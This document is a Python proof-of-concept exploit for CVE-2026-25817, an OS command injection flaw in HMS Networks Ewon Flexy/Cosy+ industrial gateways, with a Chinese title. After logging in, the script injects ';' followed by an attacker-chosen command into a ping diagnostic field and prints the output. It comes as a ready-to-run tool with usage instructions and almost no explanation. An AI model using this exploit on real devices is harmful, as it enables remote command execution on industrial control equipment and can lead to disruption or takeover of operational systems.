CVE-2026-25817 HMS Networks Ewon Flexy/Cosy+ OS命令注入漏洞

import requests import sys # CVE-2026-25817 PoC - HMS Networks Ewon OS Command Injection # Target: Ewon Flexy/Cosy+ gateway with valid low-privilege credentials def exploit_cve_2026_25817(target_url, username, password, cmd='whoami'): """ Exploit OS command injection in HMS Networks Ewon gateway Args: target_url: Base URL of the target gateway username: Valid username for authentication password: Valid password cmd: Command to execute on the target system Returns: Command output from the target system """ session = requests.Session() # Step 1: Authentication login_url = f"{target_url}/api/login" login_data = { 'username': username, 'password': password } try: response = session.post(login_url, data=login_data, timeout=10) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return None print(f"[+] Authentication successful") # Step 2: Inject OS command via ping/trace diagnostic feature # The vulnerability exists in the diagnostic input field diag_url = f"{target_url}/api/diagnostic/ping" # OS command injection payload: terminate original cmd and inject new one injection_payload = f";{cmd}" diag_data = { 'target': injection_payload, 'count': '1' } response = session.post(diag_url, data=diag_data, timeout=10) if response.status_code == 200: print(f"[+] Command injection successful: {cmd}") return response.text else: print(f"[-] Exploitation failed: {response.status_code}") return None except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 5: print(f"Usage: {sys.argv[0]} <target_url> <username> <password> <command>") print(f"Example: {sys.argv[0]} https://192.168.1.100 admin pass123 whoami") sys.exit(1) target = sys.argv[1] user = sys.argv[2] pwd = sys.argv[3] command = sys.argv[4] result = exploit_cve_2026_25817(target, user, pwd, command) if result: print(f"\n[Output]\n{result}")